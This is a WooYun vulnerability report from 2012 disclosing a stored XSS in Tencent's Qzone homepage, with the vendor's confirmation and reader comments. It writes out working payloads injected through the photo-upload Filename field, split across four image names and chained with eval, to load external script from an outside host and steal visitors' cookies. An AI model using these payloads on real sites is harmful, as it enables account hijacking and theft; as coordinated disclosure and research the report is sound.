当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07489

漏洞标题:QQ空间个人首页一处比较隐蔽的存储型XSS

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-05-24 16:54

修复时间:2012-07-08 16:55

公开时间:2012-07-08 16:55

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-24: 细节已通知厂商并且等待厂商处理中
2012-05-25: 厂商已经确认,细节仅向厂商公开
2012-06-04: 细节向核心白帽子及相关领域专家公开
2012-06-14: 细节向普通白帽子公开
2012-06-24: 细节向实习白帽子公开
2012-07-08: 细节向公众公开

简要描述:

一处比较隐蔽的存储型XSS,个人首页的,通杀IE,Chrome,Firfox, 至于危害和利用,就不多说了。 主要和大家分享下思路。
这篇《突破xss字符限制执行任意js》相信很多人都看过,其实里面的一些思路,会将一个存储型的XSS,变成了一个需要在地址栏写入代码的XSS,效果就大打折扣了。
本次分析中,也遇到了输入长度受限的问题,实际可以输入脚本的长度,在21个长度,要保证存储型XSS的效果,怎么突破呢?见详细说明。

详细说明:

1. QQ空间模板选择为【社交元素】
2. 可见此模板右侧有【最新照片】,鼠标移到照片上的时候,会有照片的名称。 F12打开浏览器的开发工具,查看照片的HTML代码。<a title="照片名称" ... <img alt="照片名称"


3. 然后我们猜想下,这里的照片名称,如果双引号没过滤,会怎么样? 可能会出现下面的情况。<img alt="照片名称" onload="alert(1)" "
4. 接着我们上传一个新照片,经过研究上传的数据,可知:【照片名称】由上传时候的Filename字段控制。 (上传页面:http://up.photo.qq.com/cgi-binhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/cgi_upload_activex?g_tk=321835484)


5. 由于我用的抓包工具对于上传图片类的数据发包不给力,我们保存下发送的数据,修改Filename字段,改为 "onload="alert(1)"a=用nc提交下,没有返回错误,说明Filename没做过滤设置。 提交之后,我们刷新QQ空间,会发现弹出了1,说明Filename没有过滤双引号,正如我们之前所猜测的一样。


6. 接下来的目标,是加载任意外部JS文件。但是我们在Filename字段写入123456789012345678901234567890123456789012345678901234567890会发现,这里的名字会有30个长度的字符限制。除去"onload="这9个字符,留给我们的还有21个字符,该如何调用外部JS呢。。。。
7. 第一个想到的方案是eval(g_diyTitle), 因为我记得之前g_diyTitle是可以随便写入内容的,不如人意的是,腾讯在某次更新中,已经对g_diyTitle做出了限制,不允许\%,(这些字符了。这个只好暂时放弃了
8. 第二个方案: 可以看到右边可以放4个图,我们可以通过控制4个图的alt属性合在一起来实现我们的目的。这里需要注意的是img标签外层有一个a标签,a标签的title属性和img的alt属性都是使用的的照片名称,当我们向alt里注入id="r"的时候,a标签也加上了id="r",同时a标签比img标签先加载,导致这里我们 $("r") 得到的是 a 标签,而不是img标签。
构建以下本地测试模型:

<img src="http://www.baidu.com/img/baidu_sylogo1.gif" title=""r="a($('s').r+$('r').r)"id="t"></img>
<img src="http://www.baidu.com/img/baidu_sylogo1.gif" title=""r="QZFL.imports('//xsst"id="s"></img>
<img src="http://www.baidu.com/img/baidu_sylogo1.gif" title=""r=".sinaapp.com/m.js')"id="r"></img>
<img src="http://www.baidu.com/img/baidu_sylogo1.gif" title=""onload="a=eval;a($('t').r)"></img>


实际利用步骤:
我们只需要分4次,分别上传4个图,图片名称依次是

1. "onload="a=eval;a($('t').r)
2. "r=".sinaapp.com/m.js')"id="r
3. "r="QZFL.imports('//xsst"id="s
4. "r="a($('s').r+$('r').r)"id="t


刷新QQ空间, 可以看到,在上传4个图之后,成功弹出了 cookies。


9. 这个方案是可以运行了,但是仅支持IE8及以下,原因是其它版本或其它浏览器,对自定义属性的获取,必须通过$("x").getAttribute("属性名")来获取。
为了让我们这个漏洞的普适性更好。我们还是得想到更好的办法来。eval(某个可写的JS变量)比较靠谱,可是QQ空间的开发人员把变量名都写的挺长,根本塞不进去。 (= = 看来,编程的时候,变量名字长,也能提高安全性), 不过我们还是可以变通一下的,见下文。
10,第三个方案:一个新的XSS方案: (g_userProfile.desc 为QQ空间自定义变量)
本地测试模型如下:

<img src="http://www.baidu.com/img/baidu_sylogo1.gif" title="eval(g_userProfile.desc)"id="t"></img>
<img src="http://www.baidu.com/img/baidu_sylogo1.gif" title=""onload="eval($('t').title)"></img>


模型说明:

因为onload里可以写入代码的长度很短,无法直接eval(g_userProfile.desc),因而我们用$('t').title做了一次中转,然后双重eval,即可运行g_userProfile.desc里的JS代码。
利用步骤:
A. 编辑空间名称下面的描述(g_userProfile.desc),改为:QZFL.imports('//xsst.sinaapp.com/m.js')
B. 插入以下2张图,图片名称依次是:

1. "onload="eval($('t').title)
2. eval(g_userProfile.desc)"id="t


上传完毕后,这次我们打开 Chrome, 以访客身份来看看, 我们可以看到,成功弹出了cookies,FF一样可行。


------------------
That's all !

漏洞证明:

见详细说明。
测试操作系统:Win7
浏览器:IE系列, Chrome, FF 均成功。

修复方案:

对上传页面 http://up.photo.qq.com/cgi-binhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/cgi_upload_activex 里的Filename字段做限制,过滤\w之外的字符,因为文件名称本来就不需要特殊字符。其它字段是否存在类似危险未知,可以一并考虑。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-05-25 21:49

厂商回复:

非常感谢您的报告。
Qzone中此类存储型XSS我们认定为高风险,一般给15分。
考虑到报告者有非常详尽的分析以及探索精神,我们非常赞同。
给20分的rank鼓励,再次感谢。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-05-24 16:55 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    马克

  2. 2012-05-24 16:56 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一,一生二,二生三,三生万物,万物负...)

    等待公开

  3. 2012-05-24 17:00 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zeracker = = 速度真快。。刚提交,就通过审核了。

  4. 2012-05-24 17:01 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @gainover 剑心在线就是很给力啊。

  5. 2012-05-24 17:05 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zeracker 嘿嘿,逛zone去了。。

  6. 2012-05-24 17:05 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全(招人中,有兴趣请私信...)

    牛。。

  7. 2012-05-24 17:09 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @Jannock @gainover 两头牛。

  8. 2012-05-24 17:25 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    怎么突破,详见说明 =。= 勾引死个人

  9. 2012-05-24 17:25 | WebSPRing ( 普通白帽子 | Rank:176 漏洞数:18 | Focus on Web Security (wspringox@gmail.c...)

    等细节

  10. 2012-05-24 17:32 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser 我是不是很有说书的潜质。。 哈哈

  11. 2012-05-24 17:56 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    坐等学习!

  12. 2012-05-24 17:57 | z@cx ( 普通白帽子 | Rank:434 漏洞数:56 | 。-。-。)

    先透露点

  13. 2012-05-24 17:59 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @gainover @goderci 老是把你们两位看错。

  14. 2012-05-24 18:05 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @zeracker 他俩本来就是搞基的

  15. 2012-05-24 18:12 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    @goderci 用个页面嵌入?

  16. 2012-05-24 18:15 | 小雨 ( 普通白帽子 | Rank:105 漏洞数:19 | phper)

    lz评书听多了,很会吊人胃口啊

  17. 2012-05-24 19:56 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    擦 不是我发的 不要问我!——~

  18. 2012-05-24 20:08 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @goderci O(∩_∩)O哈哈~

  19. 2012-05-24 20:58 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

    接着看空间去。

  20. 2012-05-24 21:04 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

    本次分析中,也遇到了输入长度受限的问题,实际可以输入脚本的长度,在21个长度,要保证存储型XSS的效果,怎么突破呢?见详细说明。 其实这个玩意在微博短链中 你懂的!

  21. 2012-05-26 10:53 | PiaCa ( 普通白帽子 | Rank:129 漏洞数:10 | 简单点!啪......嚓~~)

    @goderci 好勾引人啊

  22. 2012-05-28 09:41 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    怎么突破呢?怎么突破呢?怎么突破呢?

  23. 2012-05-28 10:44 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @冷冷的夜 tinyURL突破就行了..在xss中很常见

  24. 2012-06-02 20:49 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

    @蟋蟀哥哥 楼上是蟋蟀蝈蝈!找来找去应该是职业选项 长度20.

  25. 2012-07-02 16:45 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    onload="<script/src=//x.cn>" 服务器设置下解释 如xxx.js 简单做法

  26. 2012-07-02 16:51 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    思路总结下首先师傅是在每个标签都注入一先xss的字符用.xxxx.xxx 这样结合起来,最后来个eval运行它 恩很不错,像剑心在精通脚本黑客的那个xss利用。 javascript的语法我看得很模糊还需要继续撸力

  27. 2012-07-08 17:30 | Kaier ( 路人 | Rank:11 漏洞数:1 )

    这个威武、

  28. 2012-10-21 00:47 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    g牛对JavaScript理解真是太深了,向g牛学习

  29. 2013-06-29 11:21 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    这个太风骚了吧... 不愧是@gainover